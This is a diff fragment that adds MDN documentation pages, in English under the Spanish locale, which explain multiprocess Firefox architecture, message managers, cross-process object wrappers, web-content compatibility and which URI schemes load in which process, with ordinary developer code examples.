+<p>The first place where multiprocess Firefox diverges from single-process Firefox is that each <code>&lt;browser&gt;</code> element has a <code>remote="true"</code> attribute. When such a browser element is added to the document, a new content process is started. This process is called a <em>child process</em>. An IPC channel is created that links the parent and child processes. Initially, the child displays <code>about:blank</code>, but the parent can send the child a command to navigate elsewhere.</p>
+
+<h2 id="Drawing"><strong id="drawing">Drawing</strong></h2>
+
+<p>Somehow, displayed web content needs to get from the child process to the parent and then to the screen. Multiprocess Firefox depends on a new Firefox feature called <a href="http://benoitgirard.wordpress.com/2012/05/15/off-main-thread-compositing-omtc-and-why-it-matters/"><em>off main thread compositing</em></a> (OMTC). In brief, each Firefox window is broken into a series of <em>layers</em>, somewhat similar to layers in Photoshop. Each time Firefox draws, these layers are submitted to a compositor thread that clips and translates the layers and combines them together into a single image that is then drawn.</p>
+
+<p>Layers are structured as a tree. The root layer of the tree is responsible for the entire Firefox window. This layer contains other layers, some of which are responsible for drawing the menus and tabs. One subtree displays all the web content. Web content itself may be broken into multiple layers, but they’re all rooted at a single “content” layer.</p>
+
+<p>In multiprocess Firefox, the content layer subtree is actually a shim. Most of the time, it contains a placeholder node that simply keeps a reference to the IPC link with the child process. The content process retains the actual layer tree for web content. It builds and draws to this layer tree. When it’s done, it sends the structure of its layer tree to the parent process via IPC. Backing buffers are shared with the parent either through shared memory or GPU memory. References to this memory are sent as part of the layer tree. When the parent receives the layer tree, it removes its placeholder content node and replaces it with the actual tree from content. Then it composites and draws as normal. When it’s done, it puts the placeholder back.</p>
+
+<p>The basic architecture of how OMTC works with multiple processes has existed for some time, since it is needed for Firefox OS. However, Matt Woodrow and David Anderson have done a lot of work to get everything working properly on Windows, Mac, and Linux. One of the big challenges for multiprocess Firefox will be getting OMTC enabled on all platforms. Right now, only Macs use it by default.</p>
+
+<h2 id="User_input"><strong id="input">User input</strong></h2>
+
+<p>Events in Firefox work the same way as they do on the web. Namely, there is a DOM tree for the entire window, and events are threaded through this tree in capture and bubbling phases. Imagine that the user clicks on a button on a web page. In single-process Firefox, the root DOM node of the Firefox window gets the first chance to process the event. Then, nodes lower down in the DOM tree get a chance. The event handling proceeds down through to the XUL <code>&lt;browser&gt;</code> element. At this point, nodes in the web page’s DOM tree are given a chance to handle the event, all the way down to the button. The bubble phase follows, running in the opposite order, all the way back up to the root node of the Firefox window.</p>
+
+<p>With multiple processes, event handling works the same way until the <code>&lt;browser&gt;</code> element is hit. At that point, if the event hasn’t been handled yet, it gets sent to the child process by IPC, where handling starts at the root of the content DOM tree. The parent process then waits to run its bubbling phase until the content process has finished handling the event.</p>
+
+<h2 id="Inter-process_communication"><strong id="ipc">Inter-process communication</strong></h2>
+
+<p>All IPC happens using the Chromium IPC libraries. Each child process has its own separate IPC link with the parent. Children cannot communicate directly with each other. To prevent deadlocks and to ensure responsiveness, the parent process is not allowed to sit around waiting for messages from the child. However, the child is allowed to block on messages from the parent.</p>
+
+<p>Rather than directly sending packets of data over IPC as one might expect, we use code generation to make the process much nicer. The IPC protocol is defined in <a href="https://wiki.mozilla.org/IPDL">IPDL</a>, which sort of stands for “inter-* protocol definition language”. A typical IPDL file is <code><a href="http://mxr.mozilla.org/mozilla-central/source/netwerk/ipc/PNecko.ipdl">PNecko.ipdl</a></code>. It defines a set messages and their parameters. Parameters are serialized and included in the message. To send a message <code>M</code>, C++ code just needs to call the method <code>SendM</code>. To receive the message, it implements the method <code>RecvM</code>.</p>
+
+<p>IPDL is used in all the low-level C++ parts of Gecko where IPC is required. In many cases, IPC is just used to forward actions from the child to the parent. This is a common pattern in Gecko:</p>
+
+<pre class="brush: cpp">void AddHistoryEntry(param) {
+  if (XRE_GetProcessType() == GeckoProcessType_Content) {
+    // If we're in the child, ask the parent to do this for us.
+    SendAddHistoryEntry(param);
+    return;
+  }
+
+  // Actually add the history entry...
+}
+
+bool RecvAddHistoryEntry(param) {
+  // Got a message from the child. Do the work for it.
+  AddHistoryEntry(param);
+  return true;
+}
+</pre>
+
+<p>When <code>AddHistoryEntry</code> is called in the child, we detect that we’re inside the child process and send an IPC message to the parent. When the parent receives that message, it calls <code>AddHistoryEntry</code> on its side.</p>
+
+<p>For a more realistic illustration, consider the Places database, which stores visited URLs for populating the awesome bar. Whenever the user visits a URL in the content process, we call <a href="http://mxr.mozilla.org/mozilla-central/source/toolkit/components/places/History.cpp?rev=8b9687f6c602#2326">this code</a>. Notice the content process check followed by the <code>SendVisitURI</code> call and an immediate return. The message is received <a href="http://mxr.mozilla.org/mozilla-central/source/dom/ipc/ContentParent.cpp?rev=fecda5f4a0df#2666">here</a>; this code just calls <code>VisitURI</code> in the parent.</p>
+
+<p>The code for IndexedDB, the places database, and HTTP connections all runs in the parent process, and they all use roughly the same proxying mechanism in the child.</p>
+
+<h2 id="Frame_scripts"><strong id="contentscripts">Frame scripts</strong></h2>
+
+<p>IPDL takes care of passing messages in C++, but much of Firefox is actually written in JavaScript. Instead of using IPDL directly, JavaScript code relies on <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">the message manager</a> to communicate between processes. To use the message manager in JS, you need to get hold of a message manager object. There is a global message manager, message managers for each Firefox window, and message managers for each <code>&lt;browser&gt;</code> element. A message manager can be used to load JS code into the child process and to exchange messages with it.</p>
+
+<p>As a simple example, imagine that we want to be informed every time a <code>load</code> event triggers in web content. We’re not interested in any particular browser or window, so we use the global message manager. The basic process is as follows:</p>
+
+<pre class="brush: js">// Get the global message manager.
+let mm = Cc["@<span class="skimlinks-unlinked">mozilla.org/globalmessagemanager;1</span>"].
+         getService(Ci.nsIMessageListenerManager);
+
+// Wait for load event.
+mm.addMessageListener("GotLoadEvent", function (msg) {
+  dump("Received load event: " + <span class="skimlinks-unlinked">msg.data.url</span> + "\n");
+});
+
+// Load code into the child process to listen for the event.
+mm.loadFrameScript("chrome://content/<span class="skimlinks-unlinked">content-script.js</span>", true);
+</pre>
+
+<p>For this to work, we also need to have a file <code>content-script.js</code>:</p>
+
+<pre class="brush: js">// Listen for the load event.
+addEventListener("load", function (e) {
+  // Inform the parent process.
+  let docURL = content.document.documentURI;
+  sendAsyncMessage("GotLoadEvent", {url: docURL});
+}, false);
+</pre>
+
+<p>This file is called a <em>frame script</em>. When the <code>loadFrameScript</code> function call runs, the code for the script is run once for each <code>&lt;browser&gt;</code> element. This includes both remote browsers and regular ones. If we had used a per-window message manager, the code would only be run for the browser elements in that window. Any time a new browser element is added, the script is run automatically (this is the purpose of the <code>true</code> parameter to <code>loadFrameScript</code>). Since the script is run once per browser, it can access the browser’s window object and docshell via the <code>content</code> and <code>docShell</code> globals.</p>
+
+<p>The great thing about frame scripts is that they work in both single-process and multiprocess Firefox. To learn more about the message manager, see the <a href="/en-US/Firefox/Multiprocess_Firefox/The_message_manager">message manager guide</a>.</p>
+
+<h2 id="Cross-process_APIs"><strong id="shims">Cross-process APIs</strong></h2>
+
+<p>There are a lot of APIs in Firefox that cross between the parent and child processes. An example is the <code>webNavigation</code> property of XUL <code>&lt;browser&gt;</code> elements. The <code>webNavigation</code> property is an object that provides methods like <code>loadURI</code>, <code>goBack</code>, and <code>goForward</code>. These methods are called in the parent process, but the actions need to happen in the child. First I’ll cover how these methods work in single-process Firefox, and then I’ll describe how we adapted them for multiple processes.</p>
+
+<p>The <code>webNavigation</code> property is defined using the XML Binding Language (XBL). XBL is a declarative language for customizing how XML elements work. Its syntax is a combination of XML and JavaScript. Firefox uses XBL extensively to customize XUL elements like <code>&lt;browser&gt;</code> and <code>&lt;tabbrowser&gt;</code>. The <code>&lt;browser&gt;</code> customizations reside in <code><a href="http://mxr.mozilla.org/mozilla-central/source/toolkit/content/widgets/browser.xml?rev=754cf7fc84cd">browser.xml</a></code>. <a href="http://mxr.mozilla.org/mozilla-central/source/toolkit/content/widgets/browser.xml?rev=754cf7fc84cd#262">Here</a> is how <code>browser.webNavigation</code> is defined:</p>
+
+<pre class="brush: xml">&lt;field name="_webNavigation"&gt;null&lt;/field&gt;
+
+&lt;property name="webNavigation" readonly="true"&gt;
+   &lt;getter&gt;
+   &lt;![CDATA[
+     if (!this._webNavigation)
+       this._webNavigation = this.docShell.QueryInterface(Components.interfaces.nsIWebNavigation);
+     return this._webNavigation;
+   ]]&gt;
+   &lt;/getter&gt;
+&lt;/property&gt;
+</pre>
+
+<p>This code is invoked whenever JavaScript code in Firefox accesses <code>browser.webNavigation</code>, where <code>browser</code> is some <code>&lt;browser&gt;</code> element. It checks if the result has already been cached in the <code>browser._webNavigation</code> field. If it hasn’t been cached, then it fetches the navigation object based off the browser’s <em>docshell</em>. The docshell is a Firefox-specific object that encapsulates a lot of functionality for loading new pages, navigating back and forth, and saving page history. In multiprocess Firefox, the docshell lives in the child process. Since the <code>webNavigation</code> accessor runs in the parent process, <code>this.docShell</code> above will just return null. As a consequence, this code will fail completely.</p>
+
+<p>One way to fix this problem would be to create a fake docshell in C++ that could be returned. It would operate by sending IPDL messages to the real docshell in the child to get work done. We may eventually take this route in the future. We decided to do the message passing in JavaScript instead, since it’s easier and faster to prototype things there. Rather than change every docshell-using accessor to test if we’re using multiprocess browsing, we decided to create a new XBL binding that applies only to remote <code>&lt;browser&gt;</code> elements. It is called <a href="http://mxr.mozilla.org/mozilla-central/source/toolkit/content/widgets/remote-browser.xml?rev=9583bd3099ae"><code>remote-browser.xml</code></a>, and it extends the existing <code>browser.xml</code> binding.</p>
+
+<p>The <code>remote-browser.xml</code> binding returns a JavaScript <em>shim object</em> whenever anyone uses <code>browser.webNavigation</code> or other similar objects. The shim object is implemented <a href="http://mxr.mozilla.org/mozilla-central/source/toolkit/modules/RemoteWebNavigation.jsm">in its own JavaScript module</a>. It uses the message manager to send messages like <code>"WebNavigation:LoadURI"</code> to <a href="http://mxr.mozilla.org/mozilla-central/source/toolkit/content/browser-child.js?rev=9583bd3099ae#107">a content script loaded by <code>remote-browser.xml</code></a>. The content script performs the actual action.</p>
+
+<p>The shims we provide emulate their real counterparts imperfectly. They offer enough functionality to make Firefox work, but add-ons that use them may find them insufficient. I’ll discuss strategies for making add-ons work in more detail later.</p>
+
+<h2 id="Cross-process_object_wrappers"><strong id="cpows">Cross-process object wrappers</strong></h2>
+
+<p>The message manager API does not allow the parent process to call <code>sendSyncMessage</code>; that is, the parent is not allowed to wait for a response from the child. It’s detrimental for the parent to wait on the child, since we don’t want the browser UI to be unresponsive because of slow content. However, converting Firefox code to be asynchronous (i.e., to use <code>sendAsyncMessage</code> instead) can sometimes be onerous. As an expedient, we’ve introduced a new primitive that allows code in the parent process to access objects in the child process synchronously.</p>
+
+<p>These objects are called cross-process object wrappers, frequently abbreviated to CPOWs. They’re created using the message manager. Consider this example content script:</p>
+
+<pre class="brush: js">addEventListener("load", function (e) {
+  let doc = content.document;
+  sendAsyncMessage("GotLoadEvent", <strong>{}, {document: doc}</strong>);
+}, false);
+</pre>
+
+<p>In this code, we want to be able to send a reference to the document to the parent process. We can’t use the second parameter to <code>sendAsyncMessage</code> to do this: that argument is converted to JSON before it is sent up. The optional third parameter allows us to send object references. Each property of this argument becomes accessible in the parent process as a CPOW. Here’s what the parent code might look like:</p>
+
+<pre class="brush: js">let mm = Cc["@<span class="skimlinks-unlinked">mozilla.org/globalmessagemanager;1</span>"].
+         getService(Ci.nsIMessageListenerManager);
+
+mm.addMessageListener("GotLoadEvent", function (msg) {
+  let uri = <strong>msg.objects.document.documentURI</strong>;
+  dump("Received load event: " + uri + "\n");
+});
+mm.loadFrameScript("chrome://content/<span class="skimlinks-unlinked">content-script.js</span>", true);
+</pre>
+
+<p>It’s important to realize that we’re send object <em>references</em>. The <code>msg.objects.document</code> object is only a wrapper. The access to its <code>documentURI</code> property sends a synchronous message down to the child asking for the value. The dump statement only happens after a reply has come back from the child.</p>
+
+<p>Because every property access sends a message, CPOWs can be slow to use. There is no caching, so 1,000 accesses to the same property will send 1,000 messages.</p>
+
+<p>Another problem with CPOWs is that they violate some assumptions people might have about message ordering. Consider this code:</p>
+
+<pre class="brush: js">mm.addMessageListener("GotLoadEvent", function (msg) {
+  mm.sendAsyncMessage("ChangeDocumentURI", {newURI: "<span class="skimlinks-unlinked">hello.com</span>"});
+  let uri = <strong>msg.objects.document.documentURI</strong>;
+  dump("Received load event: " + uri + "\n");
+});
+</pre>
+
+<p>This code sends a message asking the child to change the current document URI. Then it accesses the current document URI via a CPOW. You might expect the value of <code>uri</code> to come back as <code>"hello.com"</code>. But it might not. In order to avoid deadlocks, CPOW messages can bypass normal messages and be processed first. It’s possible that the request for the <code>documentURI</code> property will be processed before the <code>"ChangeDocumentURI"</code> message, in which case <code>uri</code> will have some other value.</p>
+
+<p>For this reason, it’s best not to mix CPOWs with normal message manager messages. It’s also a bad idea to use CPOWs for anything security-related, since you may not get results that are consistent with surrounding code that might use the message manager.</p>
+
+<p>Despite these problems, we’ve found CPOWs to be useful for converting certain parts of Firefox to be multiprocess-compatible. It’s best to use them in cases where users are less likely to notice poor responsiveness. As an example, we use CPOWs to implement the context menu that pops up when users right-click on content elements. Whether this code is asynchronous or synchronous, the menu cannot be displayed until content has responded with data about the element that has been clicked. The user is unlikely to notice if, for example, tab animations don’t run while waiting for the menu to pop up. Their only concern is for the menu to come up as quickly as possible, which is entirely gated on the response time of the content process. For this reason, we chose to use CPOWs, since they’re easier than converting the code to be asynchronous.</p>
+
+<p>It’s possible that CPOWs will be phased out in the future. Asynchronous messaging using the message manager gives a user experience that is at least as good as, and often strictly better than, CPOWs. We strongly recommend that people use the message manager over CPOWs when possible. Nevertheless, CPOWs are sometimes useful.</p>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/types_of_message_manager/index.html b/files/es/mozilla/firefox/multiprocess_firefox/types_of_message_manager/index.html
new file mode 100644
index 0000000000..fe2917686b
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/types_of_message_manager/index.html
@@ -0,0 +1,179 @@
+---
+title: Message manager overview
+slug: Mozilla/Firefox/Multiprocess_Firefox/Types_of_message_manager
+tags:
+  - Necesita traducción
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/Types_of_message_manager
+---
+<div>{{FirefoxSidebar}}</div><p>In the initial version of multiprocess Firefox there are two processes:</p>
+
+<ul>
+ <li>the chrome process, also called the parent process, runs the browser UI (chrome) code and code inserted by extensions</li>
+ <li>the content process, also called the child process, runs all web content. In future versions of multiprocess Firefox different tabs may run in different processes, but for now, all content tabs share a single content process.</li>
+</ul>
+
+<p>Message managers are designed to enable code in one process to communicate with code in a different process. At the top level, there are two different sorts of message managers:</p>
+
+<ul>
+ <li><em>Frame message managers</em>: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in the content process. These scripts are called <em>frame scripts</em>, and as the name suggests, they are scoped to a specific browser frame. If chrome code wants to run code in the content process so it can access web content, this is usually the sort of message manager to use.</li>
+ <li><em>Process message managers</em>: these correspond to process boundaries, and enable code running in the parent (chrome) process to communicate with code running in the child (content) process. From Firefox 38 onwards, they also enable code running in the parent process to load <em>process scripts</em> into the child process. These are like frame scripts, except they are global to the child process. Process scripts are most likely to be useful when chrome code wants to run some code only once in the content process, to access some global service: for example, to register an observer or a content policy.</li>
+</ul>
+
+<h2 id="Frame_message_managers">Frame message managers</h2>
+
+<p>In multiprocess Firefox, when chrome code needs to interact with web content, it needs to:</p>
+
+<ul>
+ <li>factor the code that needs direct access to content into separate scripts, which are called "frame scripts"</li>
+ <li>use a frame message manager to load these frame scripts into the content process</li>
+ <li>use the frame message manager API to communicate with the frame script</li>
+</ul>
+
+<div class="note">
+<p>Some older articles on multiprocess Firefox and the message manager might refer to "content scripts" instead of "frame scripts", but this usage is deprecated because the Add-on SDK uses "content script" to refer to a <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Guides/Content_Scripts">similar but different kind of script</a>.</p>
+</div>
+
+<p>There are three different subtypes of frame message manager: the global message manager, the window message manager, and the browser message manager. All three enable chrome code to:</p>
+
+<ul>
+ <li>load a script into a frame in the content the content process using a <code>loadFrameScript()</code> function. These scripts are called "frame scripts".</li>
+ <li>communicate with frame scripts using <code>addMessageListener()</code>  and <code>broadcastAsyncMessage() </code>or <code>sendAsyncMessage() </code>functions.</li>
+</ul>
+
+<div class="note">
+<p>Note that in this context, "browser" refers to the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/browser">XUL &lt;browser&gt; object</a>, which is a frame that hosts a single Web document. It does not refer to the more general sense of a Web browser.</p>
+</div>
+
+<h3 id="Global_message_manager">Global message manager</h3>
+
+<p>The <strong>global message manager</strong> operates on every <code>&lt;browser&gt;</code>  (that is, every open content tab).<code> </code></p>
+
+<ul>
+ <li><code>loadFrameScript()</code> loads the given script into every <code>&lt;browser&gt;</code> in every browser window.</li>
+ <li><code>broadcastAsyncMessage()</code> sends the message to every <code>&lt;browser&gt;</code> in every browser window.</li>
+</ul>
+
+<p>It's a <code>ChromeMessageBroadcaster</code> object, which implements the following interfaces:</p>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFrameScriptLoader" title="">nsIFrameScriptLoader</a></code></li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageListenerManager" title="">nsIMessageListenerManager</a></code></li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageBroadcaster" title="">nsIMessageBroadcaster</a></code></li>
+</ul>
+
+<p>You can access the global message manager like this:</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="comment token">// chrome script
+</span><span class="keyword token">let</span> globalMM <span class="operator token">=</span> Cc<span class="punctuation token">[</span><span class="string token">"@mozilla.org/globalmessagemanager;1"</span><span class="punctuation token">]</span>
+  <span class="punctuation token">.</span><span class="function token">getService<span class="punctuation token">(</span></span>Ci<span class="punctuation token">.</span>nsIMessageListenerManager<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Window_message_manager">Window message manager</h3>
+
+<p>The <strong>window message manager</strong> is associated with a specific browser window, and operates on every <code>&lt;browser&gt;</code> (that is, every content tab) loaded into that window:</p>
+
+<ul>
+ <li><code>loadFrameScript()</code> loads the given script into every <code>&lt;browser&gt;</code> in that browser window</li>
+ <li><code>broadcastAsyncMessage()</code> sends the message to every <code>&lt;browser&gt;</code> in that browser window.</li>
+</ul>
+
+<p>It's a <code>ChromeMessageBroadcaster</code> object, which implements the following interfaces:</p>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFrameScriptLoader" title="">nsIFrameScriptLoader</a></code></li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageListenerManager" title="">nsIMessageListenerManager</a></code></li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageBroadcaster" title="">nsIMessageBroadcaster</a></code></li>
+</ul>
+
+<p>The window message manager can be accessed as a property of the browser window:</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="comment token">// chrome script
+</span><span class="keyword token">let</span> windowMM <span class="operator token">=</span> window<span class="punctuation token">.</span>messageManager<span class="punctuation token">;</span></code></pre>
+
+<h3 id="Browser_message_manager">Browser message manager</h3>
+
+<p>The <strong>browser message manager</strong> is specific to a single XUL <code>&lt;browser&gt;</code> element (which essentially corresponds to a single tab):</p>
+
+<ul>
+ <li><code>loadFrameScript()</code> loads the given script only into its <code>&lt;browser&gt;</code></li>
+ <li><code>sendAsyncMessage()</code> sends the message only to that <code>&lt;browser&gt;</code>.</li>
+</ul>
+
+<p>You can mix and match: so for example, you could load a script into every <code>&lt;browser&gt;</code> using the global message manager, but then send a message to the script instance loaded into a specific <code>&lt;browser&gt;</code> using the browser message manager.</p>
+
+<p>It's a <code>ChromeMessageSender</code> object, which implements the following interfaces:</p>
+
+<ul>
+ <li><code><a class="new" href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIProcessChecker" title="">nsIProcessChecker</a></code></li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFrameScriptLoader" title="">nsIFrameScriptLoader</a></code></li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageListenerManager" title="">nsIMessageListenerManager</a></code></li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageSender" title="">nsIMessageSender</a></code></li>
+</ul>
+
+<p>The browser message manager can be accessed as a property of the XUL <code>&lt;browser&gt;</code> element:</p>
+
+<pre class="brush: js  language-js"><code class="language-js"><span class="comment token">// chrome script
+</span><span class="keyword token">let</span> browserMM <span class="operator token">=</span> gBrowser<span class="punctuation token">.</span>selectedBrowser<span class="punctuation token">.</span>messageManager<span class="punctuation token">;</span></code></pre>
+
+<h2 id="Process_message_managers">Process message managers</h2>
+
+<p>Process message managers correspond to process boundaries, and enable code running in different processes to communicate. Multiprocess Firefox has the concept of:</p>
+
+<ul>
+ <li>a "parent process"</li>
+ <li>"child processes" which are processes spawned by the parent process.</li>
+</ul>
+
+<p>For practical purposes, in multiprocess Firefox the parent process is the chrome process, and child processes are content processes. </p>
+
+<p>In each child process, there's a single <em>child process message manager</em> (CPMM). For each child process message manager, there's a <em>parent process message manager</em> (PPMM) in the parent process. There's also a single <em>global parent process message manager</em> (GPPMM) in the parent process, that provides access to all the parent process message managers:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10791/process-message-managers.png" style="display: block; height: 477px; margin-left: auto; margin-right: auto; width: 524px;"></p>
+
+<p> </p>
+
+<p>With the GPPMM, you can broadcast messages to all CPMMs. With a PPMM, you can send a message to its corresponding CPMM. With a CPMM, you can send messages to the parent process: these messages are received first by the corresponding PPMM, then by the GPPMM.</p>
+
+<p>From Firefox 38 onwards, you can also use a parent process message manager to load a script into a child process. This is the recommended way to load a script that executes just once per child process, which is something you might want to do if you are interacting with some global service (for example, adding listeners to observer notifications or registering components).</p>
+
+<h3 id="Accessing_process_message_managers">Accessing process message managers</h3>
+
+<p>You can access the global parent process manager with code like this:</p>
+
+<pre class="brush: js">// parent process
+let parentProcessMessageManager = Cc["@mozilla.org/parentprocessmessagemanager;1"]
+                                  .getService(Ci.nsIMessageBroadcaster);</pre>
+
+<p>You can also access it as the <code>ppmm</code> property of <a href="/en-US/docs/Mozilla/JavaScript_code_modules/Services.jsm">Services.jsm</a>.</p>
+
+<pre class="brush: js">// child process script
+let childProcessMessageManager = Cc["@mozilla.org/childprocessmessagemanager;1"]
+                                 .getService(Ci.nsISyncMessageSender);</pre>
+
+<h3 id="Parent_process_message_manager">Parent process message manager</h3>
+
+<p>The parent process message manager lives in the</p>
+
+<p>implements</p>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageListenerManager" title="">nsIMessageListenerManager</a></code></li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageBroadcaster" title="">nsIMessageBroadcaster</a></code></li>
+</ul>
+
+<p> </p>
+
+<h3 id="Child_process_message_manager">Child process message manager</h3>
+
+<p>implements</p>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageListenerManager" title="">nsIMessageListenerManager</a></code></li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIMessageSender" title="">nsIMessageSender</a></code></li>
+</ul>
+
+<h4 id="Loading_scripts_per_child_process">Loading scripts per child process</h4>
+
+<p>Since the process message managers do not support script loading the only way to implement per-child process code is to use a <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox/The_message_manager#frame-scripts">frame script</a> which imports a custom <a href="https://developer.mozilla.org/en-US/docs/JavaScript_code_modules/Using">javascript module (JSM)</a>. Since javascript modules are singletons they will only be executed once per process even when they are loaded in multiple frame scripts.<br>
+ The JSM can then use the child process message manager to exchange messages with the parent process message manager.</p>
+
+<p>This can be useful for addons to register categories, observers and components in child processes.</p>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/web_content_compatibility/index.html b/files/es/mozilla/firefox/multiprocess_firefox/web_content_compatibility/index.html
new file mode 100644
index 0000000000..3089e24000
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/web_content_compatibility/index.html
@@ -0,0 +1,28 @@
+---
+title: Web content compatibility
+slug: Mozilla/Firefox/Multiprocess_Firefox/Web_content_compatibility
+tags:
+  - Necesita traducción
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/Web_content_compatibility
+---
+<div>{{FirefoxSidebar}}</div><p><span class="seoSummary">While the introduction of multi-process capabilities to Firefox should be seamless and invisible to Web content, there are some exceptions and subtle changes from past behavior. This article discusses the known differences you may encounter.</span></p>
+
+<h2 id="Events">Events</h2>
+
+<p>Here you'll find information about events whose behaviors have changed due to multiprocess Firefox's implementation.</p>
+
+<h3 id="No_bubbling_of_events_from_&lt;option>_to_&lt;select>">No bubbling of events from <code>&lt;option&gt;</code> to <code>&lt;select&gt;</code></h3>
+
+<p>Historically, Firefox has allowed keyboard and mouse events to bubble up from the <code>&lt;option&gt;</code> element to the parent {{HTMLElement("select")}} element. This doesn't happen in Chrome, however, although this behavior is inconsistent across many browsers. For better Web compatibility (and for technical reasons), when Firefox is in multi-process mode and the <code>&lt;select&gt;</code> element is displayed as a drop-down list. This behavior is unchanged if the <code>&lt;select&gt;</code> is presented inline and it has either the <code>multiple</code> attribute defined or a <code>size</code> attribute set to more than 1.</p>
+
+<p>Rather than watching <code>&lt;option&gt;</code> elements for events, you should watch for {event("change")}} events on {{HTMLElement("select")}}. See {{bug(1090602)}} for details.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Multiprocess Firefox</li>
+ <li>{{HTMLElement("option")}}</li>
+ <li>{{HTMLElement("select")}}</li>
+ <li>{{domxref("HTMLOptionElement")}}</li>
+ <li>{{domxref("HTMLSelectElement")}}</li>
+</ul>
diff --git a/files/es/mozilla/firefox/multiprocess_firefox/which_uris_load_where/index.html b/files/es/mozilla/firefox/multiprocess_firefox/which_uris_load_where/index.html
new file mode 100644
index 0000000000..7f9ee69755
--- /dev/null
+++ b/files/es/mozilla/firefox/multiprocess_firefox/which_uris_load_where/index.html
@@ -0,0 +1,61 @@
+---
+title: Which URIs load where
+slug: Mozilla/Firefox/Multiprocess_Firefox/Which_URIs_load_where
+tags:
+  - Necesita traducción
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/Which_URIs_load_where
+---
+<div>{{FirefoxSidebar}}</div><p>Based initially on the page's URI scheme, the browser can decide whether to load a page in the chrome process or a content process. For some schemes, you can change the default behavior.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Scheme</th>
+   <th scope="col">Behavior</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>about:</code></td>
+   <td>
+    <p>By default, <code>about:</code> pages are always loaded in the chrome process. However, when you register a new <code>about:</code> page, you can change this default.</p>
+
+    <p>Two new flags are defined in <code><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/protocol/about/nsIAboutModule.idl">nsIAboutModule</a></code>:</p>
+
+    <ul>
+     <li><code>URI_CAN_LOAD_IN_CHILD</code>: the page will be loaded in the same process as the <code><a href="/en-US/docs/XUL/browser">browser</a></code> that has loaded it.</li>
+     <li><code>URI_MUST_LOAD_IN_CHILD</code>: the page will always be loaded in a child process.</li>
+    </ul>
+
+    <p>To use one of these flags, return it from your implementation of <code>getURIFlags</code> in the <a href="/en-US/docs/Custom_about:_URLs">code that registers the <code>about:</code> URI</a>.</p>
+
+    <p>If you use these flags, you must register the about page in the framescript for each tab. If you do not set multiprocessCompatible to true in your install.rdf then shims will be used. But the e10s shims will be deprecated soon. Read more here - <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1257201">Bug 1257201</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>chrome:</code></td>
+   <td>
+    <p>By default, <code>chrome:</code> pages are always loaded in the chrome process. However, when you register a new <code>chrome:</code> page, you can change this default.</p>
+
+    <p>Two new flags are defined in the <a href="/en-US/docs/Chrome_Registration">chrome.manifest file</a>:</p>
+
+    <ul>
+     <li>remoteenabled: the page will be loaded in the same process as the <code><a href="/en-US/docs/XUL/browser">browser</a></code> that has loaded it.</li>
+     <li>remoterequired: the page will always be loaded in a child process.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>file:</code></td>
+   <td>
+    <p>Always loaded in a content process.</p>
+
+    <p><strong>Note:</strong> This does not mean <code>file:</code> URIs can be used freely by code in content processes. Sandboxing may blacklist particular directories and future changes may restrict <code>file:</code> URIs to a separate content process, isolated from regular web content. See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1187099">bug 1187099</a> how this can affect addons attempting to load files from the profile directory.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>resource:</code></td>
+   <td>Always loaded in a content process.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/mozilla/firefox/privacy/index.html b/files/es/mozilla/firefox/privacy/index.html
new file mode 100644
index 0000000000..c6a9e69b09
--- /dev/null
+++ b/files/es/mozilla/firefox/privacy/index.html
@@ -0,0 +1,9 @@
+---
+title: Privacy
+slug: Mozilla/Firefox/Privacy
+tags:
+  - NeedsTranslation
+  - TopicStub
